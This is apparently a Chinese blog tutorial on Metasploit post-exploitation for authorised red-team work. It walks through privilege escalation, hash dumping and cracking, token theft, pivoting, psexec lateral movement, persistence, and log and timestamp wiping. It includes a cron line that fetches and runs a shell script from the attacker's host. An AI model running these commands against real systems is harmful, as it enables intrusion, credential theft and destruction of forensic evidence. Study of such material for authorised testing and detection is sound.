Metasploit后渗透实战:从会话管理到权限维持的全链路解析
开头先交代一个场景某次授权红队演练中我已经通过一个Web漏洞拿到了目标系统的Meterpreter会话shell弹了出来心里一阵激动。但紧接着问题就来了——接下来该干什么是直接翻文件、抓哈希还是赶紧提权这一步走错了轻则会话掉线重则触发告警、前功尽弃。这篇笔记是Kali Linux学习笔记系列的第九十八篇继续Metasploit Framework的后渗透阶段二重点梳理拿到会话之后的完整操作链路会话管理、信息收集、提权、凭据获取、横向移动、权限维持与痕迹清理。适合正在系统学习MSF的后渗透用法、或者准备转向红队方向的朋友参考也适合蓝队同学从攻击视角反推检测思路。需要提醒的是所有操作都必须在获得合法授权的环境中进行抛开授权谈渗透没有任何意义。1. 后渗透阶段的全局设计拿到会话之后的第一件事1.1 会话所有后渗透操作的地基后渗透阶段的一切操作都建立在“会话存活”这个前提之上。Meterpreter会话本质上是控制端与被控端之间的一条加密通信链路你之后的每条命令、每个模块都要沿着这条链路送进目标机器。如果会话中途断掉哪怕你已经跑完了半个信息收集流程也只能从头再来甚至彻底失去访问权限。所以拿到会话后的第一个步骤不是急着看文件、不是马上执行提权而是确认会话的存活状态和基本参数。常用的会话管理命令就三个sessions -l列出当前所有会话确认会话ID和类型。sessions -i id进入指定会话。background把当前会话挂到后台返回MSF主控制台。我最早犯过的错误就是拿到shell之后在交互式shell里直接执行一条长时间挂起的命令比如扫描内网端口结果控制台卡住会话超时断开。现在我的习惯是所有耗时操作一律挂到后台跑并且把这些操作拆成短任务执行降低掉线概率。会话这个东西稳住了才算真正掌握主动权。1.2 摸清家底系统信息、身份与网络进入会话之后第二件事是快速摸清目标的基本状态。这些信息直接决定后续的提权和横向移动方向。我在实际项目中固定的信息收集顺序是这样的getuid查看当前用户在目标系统上的身份。是普通用户、管理员还是SYSTEM一目了然。sysinfo查看系统版本、内核、架构。这一步非常关键因为后续选择提权模块时系统版本不匹配等于白忙。getpid/ps查看当前Meterpreter进程的PID以及系统进程列表。进程列表的作用有两个一是判断哪些进程以高权限运行、可以作为迁移目标二是识别目标机器上是否跑了杀毒软件、EDR等防御进程。ipconfig/ifconfig查看网卡配置重点是判断当前主机连接了几个网段。route查看路由表看看是否存在可到达的内网网段。这些命令本身没有太高技术含量但很多人不知道为什么要先做这个动作。举个例子sysinfo得到的目标系统是Windows Server 2016那我基本不会再考虑那些针对Windows 7/8的古老UAC绕过方案也不会去碰对Server 2016无效的内核漏洞ipconfig看到主机同时连着办公网段和服务器网段那就说明这台机器有横向移动的价值——它可以成为通向服务器区的跳板。信息收集的质量决定了后面每一步的选择空间。1.3 自动化收集脚本提高效率手敲命令确实能收集信息但后渗透阶段最宝贵的是时间窗口。目标主机可能随时关机、断网、触发响应机制所以信息收集必须尽可能一次到位。MSF提供了大量post模块可以把信息收集自动化。这里有几个我在实战中高频使用的run post/multi/recon/local_exploit_suggester自动检查本地系统中可能存在的可利用漏洞直接给出一份提权模块候选清单。run post/windows/gather/win_privsWindows平台下查看当前用户权限和系统权限适合在做提权之前快速确认自己到底缺什么权限。run post/linux/gather/enum_configsLinux平台下自动收集系统配置类文件比如网络配置、sudo配置、计划任务等。自动化脚本最大的价值在于“全”手工收集时可能漏掉某个不起眼但关键的配置文件脚本能帮你把这些边角料翻出来。我习惯的做法是手工敲一遍基础命令再用脚本做一次全量扫描两边结合起来看结果。不要完全依赖脚本也别完全排斥脚本。2. 权限提升从普通权限到最高权限2.1 先分清是“漏洞型”还是“配置型”提权提权是整个后渗透阶段最让人兴奋也最容易翻车的一步。很多人一进会话就直接跑提权模块恨不得一把梭哈拿到SYSTEM。实际上科学的思路是先判断目标环境适合走哪条路。我把提权方案分成两类漏洞型提权依赖系统或软件漏洞比如内核漏洞、UAC绕过。特点是一次性投入低、见效快但成功率受系统补丁影响很大而且操作不当很容易把目标打崩溃。配置型提权依赖目标自身配置不当比如sudo配置错误、服务权限过大、计划任务可写。特点是不需要硬怼内核对系统稳定性影响小但需要你耐心地去翻各种配置文件。用一个生活化的类比漏洞型提权像是撬锁你的工具能不能打开这扇门取决于门锁新旧程度配置型提权像是捡到了一把别人落在门口的钥匙只要你有心找一找总能翻到几把。实战环境里配置型提权的成功率和稳定性往往比漏洞型更高但它要求你对Linux/Windows的权限体系有更细的理解。2.2 漏洞型提权从suggester到实际利用漏洞型提权的标准流程是先用扫描模块定位候选漏洞再逐一尝试利用。具体操作如下先把当前会话挂到后台background。加载本地漏洞探测模块use post/multi/recon/local_exploit_suggester set SESSION 1 run模块跑完后会列出目标系统上可能存在的漏洞以及对应的利用模块。这时候不要看到一堆模块就挨个试。我选择模块的原则是优先选择与目标系统版本、语言版本完全匹配的模块。优先选择评分高、更新频繁、社区反馈稳定的模块。避免选择已知会导致目标蓝屏或崩溃的模块除非你已经做好测试环境验证。选定模块后设置参数并运行use exploit/windows/local/specific_module set SESSION 1 set LHOST 你的IP set LPORT 监听端口 run这里有一个很重要的实操细节在Windows 7以上、特别是Windows 10/Server 2016之后很多本地提权模块要求Meterpreter会话已经位于一个稳定的进程中。如果当前会话挂在一个容易崩溃的进程里提权模块运行过程中极有可能把目标进程带崩。所以遇到提权前置条件报错时不要硬来先执行migrate把会话迁到稳定进程再重新尝试提权模块。2.3 配置型提权被忽略的“常规武器”如果说漏洞型提权是花活那配置型提权就是实打实的内功。分享几个我在项目里遇到过的典型场景Linux下先看sudo -l确认当前用户能免密执行哪些命令。曾遇到过某台Linux服务器上普通用户被授权免密执行/usr/bin/visudo这就等于给了你修改sudo配置的权限。看系统计划任务/etc/crontab以及/etc/cron.d/下是否存在以root权限运行的脚本并且这些脚本对当前用户可写。改掉脚本内容等计划任务触发就相当于拿到root权限。Windows下检查注册表项AlwaysInstallElevated是否为1如果是意味着任何用户都能以高权限安装MSI包直接生成一个MSI木马就能实现提权。检查Windows服务路径权限某些服务的可执行文件所在目录对普通用户可写替换文件后重启服务即可以SYSTEM权限执行。配置型提权的好处是稳定、安静不容易触发系统防护。坏处是需要你耐心翻文件、逐项检查配置。我的习惯是漏洞型提权失败时换配置型思路重新梳理目标往往会有意外收获。2.4 提权失败后的处理思路提权不是必须成功的。遇到所有提权模块都失败的情况我的建议是三件事不要死磕同一个模块换模块、换思路。执行migrate到不同进程中重新尝试。评估一下当前权限是否已经够用如果目标是拿数据、翻资料普通用户权限往往已经能解决大部分问题如果目标是拿域控、横向移动那就需要接着打通权限链。后渗透阶段有一个很容易犯的毛病——一心只想着提权到最高权限忘了最初的目标是什么。目标导向才是后渗透的核心思维。3. 凭据获取与信息深度收集3.1 抓哈希与离线破解凭据是后渗透阶段最有价值的战利品之一。拿到目标机器的密码哈希不仅意味着可以尝试离线破解还可能直接用于横向移动中的哈希传递攻击。Windows平台上最基础的操作是hashdump直接读取SAM数据库中的本地账户哈希。不过这个命令运行需要SYSTEM权限。如果你已经提权到SYSTEM可以跑一下如果权限不够可以尝试run post/windows/gather/smart_hashdump它会自动尝试从SAM、域数据库等位置提取哈希并优先提取域账户和本地管理员账户。需要特别注意的是Windows 10和Server 2016之后的系统默认启用了DPAPI保护部分情况下直接读SAM可能拿不到明文可用的哈希这时候可以考虑借助Mimikatz的思路从LSASS进程内存中提取凭据。Linux平台上凭据获取主要瞄准/etc/shadow。拿到shadow和passwd文件后本地用john离线破解unshadow passwd shadow hash.txt john --wordlist/usr/share/wordlists/rockyou.txt hash.txt我踩过的坑是拿到哈希后直接在目标机器上跑破解占资源不说还容易触发杀软。正确做法是把哈希文件下载到本地攻击机处理目标机器上只保留最小操作痕迹。3.2 浏览器、终端历史与配置文件密码这种资产远不止存在于系统数据库里。实际项目中我发现真正高价值的凭据往往藏在运维人员的使用习惯里。具体来说Windows目标上查看浏览器保存的密码、Cookie和IE/Edge缓存可以找到内网Web系统的登录凭据。Linux目标上优先翻.bash_history里面经常出现明文密码、路径、域名等信息。SSH私钥文件~/.ssh/id_rsa一旦拿到配合端口转发可以直接复用到其他主机。翻配置文件时重点关注config.php、config.inc.php、.env这类文件数据库口令、API密钥往往就写在里面。MSF里也有一些现成的收集模块比如run post/windows/gather/enum_ie_cache可以拉取IE浏览器的缓存记录run post/multi/gather/env_vars可以看目标系统上的环境变量。虽然这些手段听起来比较“笨”但在真实环境中运维人员把数据库密码写在脚本注释里、把SSH私钥放在Web目录下的情况一点都不罕见。3.3 网络与主机信息为横向移动做准备信息收集的另一个重点是梳理网络拓扑和主机间信任关系。这一步做得好横向移动就是水到渠成的事做得不好就会变成无头苍蝇一样乱撞。我常用的命令组合是查看ARP缓存直接发现最近通信过的内网主机IP。查看网络连接状态Windows下用netstat -anoLinux下用ss -tnp找出当前机器正在访问哪些IP和端口。查看hosts文件和DNS后缀判断是否处于域环境。有了这些信息之后我面前就会展开一张粗略的内网地图哪台机器是域控、哪些机器是数据库服务器、哪些机器正在与当前主机通信。后续的横向移动路线就是沿着这张地图走的。4. 横向移动与内网延伸4.1 进程迁移让会话活得更久横向移动之前先解决一个稳定性的问题。Meterpreter会话默认加载在攻击进程所在的父进程里如果这个进程是浏览器、文档编辑器这类容易关闭的程序用户一关窗口会话就跟着没了。所以拿到会话后我倾向于尽早migrate到系统级稳定进程。migrate 目标进程PID在Windows上比较理想的目标是explorer.exe资源管理器和svchost.exe系统服务宿主进程它们存活时间长、权限较高、不容易被手动关闭。进程迁移还有一个额外的好处避开原始漏洞点在防御日志上的关联性。迁移前一定要先看ps输出确认目标进程不是自己会重启的那种。我的经验是迁移到winlogon.exe虽然权限高但风险也大explorer.exe最稳妥。4.2 令牌窃取快速拿到另一个用户的身份令牌Token是Windows系统中用来标识用户身份的对象。如果当前会话已经是管理员权限那就可以尝试加载incognito模块窃取系统上其他用户尤其是域管理员的令牌直接以对方的身份去访问资源。load incognito list_tokens -u steal_token PID令牌窃取可以理解成“借用了一下别人的工作证”你不需要知道对方的密码只需要找到对方的令牌并冒用身份。实际项目中我遇到过Local Administrator令牌和域管理员令牌同时出现在一台跳板机上的情况用steal_token直接拿到域管理员身份后续整个域内横向移动都畅通无阻。要注意的是令牌不是永久有效的。会话过期、目标用户注销都会导致令牌失效。所以拿到令牌后应该尽快使用别攒着。4.3 路由与代理把MSF变成内网跳板如果目标主机连接着多个网段你就能以它为跳板向内网延伸。MSF里最常用的做法是使用autoroute添加路由规则run autoroute -s 172.16.1.0/24添加完路由后MSF的后续模块就可以直接扫描内网主机不再需要额外配置代理。如果想让本机的nmap、浏览器等工具也能访问目标内网就需要搭建代理。MSF兼容的方式是use auxiliary/server/socks_proxy set VERSION 4a set SRVHOST 127.0.0.1 run然后在本地配置proxychainsproxychains nmap -sT -Pn 172.16.1.0/24代理的意义在于MSF自带的扫描模块毕竟有限有了代理本机十多年的工具集全部可以接进来干活。特别是内网中存在特殊服务协议时用代理配合本地专用工具比硬套MSF模块高效得多。4.4 常用横向移动模块psexec家族的用法横向移动的逻辑其实很简单拿合法凭据然后通过远程管理协议在别的机器上执行命令。MSF里最容易上手的就是psexec系列。use exploit/windows/smb/psexec set RHOSTS 172.16.1.20 set SMBUser administrator set SMBPass 哈希或明文密码 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 你的IP set LPORT 监听端口 runpsexec系列其实有三个变体psexec经典版本通过创建Windows服务来执行载荷。psexec_psh基于PowerShell适合在目标Windows 7以上系统上使用而且走的是更灵活的执行链。psexec_command执行单条命令而不是反弹完整shell适合快速验证凭据有效性。我的经验是如果psexec直接报错不要慌先看报错原因然后换psexec_psh或者检查目标是否开启admin$默认共享与445端口。横向移动就是这样一个变体不通就换下一个总能找到一个能用的。5. 权限维持与痕迹清除5.1 持久化后门掉线后还能自动回来拿到目标权限之后如果希望下次还能便捷地进入那就要考虑权限维持。MSF里最简单直接的持久化方式是利用persistence脚本run persistence -U -X -i 30 -p 4444 -r 攻击机IP参数解释-U用户登录时自动执行。-X系统启动时自动执行。-i回连间隔单位秒。-p回连端口。-r攻击机IP。这两条相当于给你装了一个“回头客入口”。但持久化是双刃剑它做的事情动静不小容易被杀软和EDR盯上所以在真实项目中我会先解决免杀问题再做持久化。在Linux上做持久化通常会用到计划任务和SSH Authorized Keysecho */5 * * * * root curl http://你的IP/shell.sh | bash /etc/crontab注意持久化后门做一条还不够要留多条备用路径。只依赖一条通道的话一旦被对方清理干净就彻底失去了后续访问能力。5.2 日志与痕迹清除后渗透操作会在目标机器上留下大量日志。Windows的日志主要存储在事件日志里MSF提供了一条命令clearev可以清除应用程序、系统、安全三类日志。用法很简单clearevLinux下需要处理的是shell历史记录和文件访问时间。删除历史记录文件或将其重命名为空文件是常见操作比如 ~/.bash_history文件时间戳可以借助timestomp修改伪造文件的修改时间、访问时间、创建时间让取证人员判断不出文件是什么时候被动的。清理日志有一个关键原则要适度。举个例子clearev会把所有安全日志全部清空一旦蓝队看到一台机器日志干干净净反而会在第一时间把它标记为异常。所以我的做法是只清理自己操作涉及的那部分敏感日志不搞“全盘清零”。5.3 退出时怎么“打扫房间”撤退阶段的干净程度决定了这次渗透行动被发现的风险。我的固定流程是用background挂起所有会话然后逐个kill掉。检查是否为测试临时上传过文件如果有把临时工具从目标机器上删掉。检查是否修改过计划任务、服务、注册表凡是无关紧要的持久化都清理干净。检查是否留下代理连接、端口转发进程结束后统一拆除。很多新手做完测试就跑了不会在乎机器上留下了什么。但真实项目中一个残留的临时文件就可能成为取证的关键线索。撤退不干净等于前面所有努力全部作废。6. 常见问题与排查技巧实录6.1 会话总是掉线这是后渗透初期最容易遇到的问题。会话掉线的原因通常有三种网络不稳定攻击机和目标之间的链路波动。Meterpreter流量被目标机器上的杀毒软件或EDR识别并阻断。会话挂载在一个不稳定的进程中目标用户一关闭窗口就断开。排查方法先看本机监听状态是否正常其次ps查看Meterpreter的父进程是否稳定最后考虑切换加密方式或换用不落地文件的payload。如果流量被识别单纯重连没有意义需要把流量特征混淆之后重新生成载荷。6.2 提权模块把目标打崩了内核提权模块运行失败最坏的情况就是直接蓝屏或重启。遇到这种情况我的态度很明确这个模块在当前环境下不可用果断放弃。破坏目标主机不仅会让你失去访问权限还会直接影响授权测试的口碑。避免打崩的办法提前在同样系统版本的测试环境中跑一遍模块运行前先migrate到稳定进程优先选择那些被社区广泛验证过的模块避开那些更新少、口碑差的冷门模块。6.3 hashdump拿到的哈希不一致hashdump输出的哈希出现AAD3B435...这种固定开头并不奇怪空密码哈希的标准表示就是这串全零加固定前缀。拿到哈希后先用john或hashcat离线破解。需要提醒的是哈希破解不是万能钥匙能破解出来的通常只是弱口令破解不出来的哈希不代表没用它仍然可能被用于哈希传递攻击。6.4 内网扫描速度慢内网扫描慢通常不是MSF的问题而是链路和代理的问题。扫描段越大、代理链越长速度越慢。我的建议是先缩小扫描范围优先扫描那些有业务价值、通信频繁的主机。调整线程数和超时时间避免全默认配置。不要在整个网段上搞大范围全端口扫描动静太大容易被发现。6.5 持久化后门连接不上persistence脚本设置了但目标机重启后就是不回连。常见原因有三个本机防火墙没有放行监听端口。目标机器出站方向被防火墙规则限制。payload架构和目标系统架构不匹配比如在64位系统上设置了32位回连载荷。排查时先在本机测试监听端口是否开放再看目标侧出站限制最后确认payload架构。逐层排查比反复重试有效得多。最后再分享一点个人感受。学了这么多MSF命令和模块之后我发现后渗透阶段真正考验人的不是工具用得有多熟而是信息判断和节奏控制。会话稳住、信息摸透、优先级排好再一步步动手比拿到会话就疯狂敲命令要靠谱得多。希望这篇笔记能帮你在实际授权项目中少走几个弯路。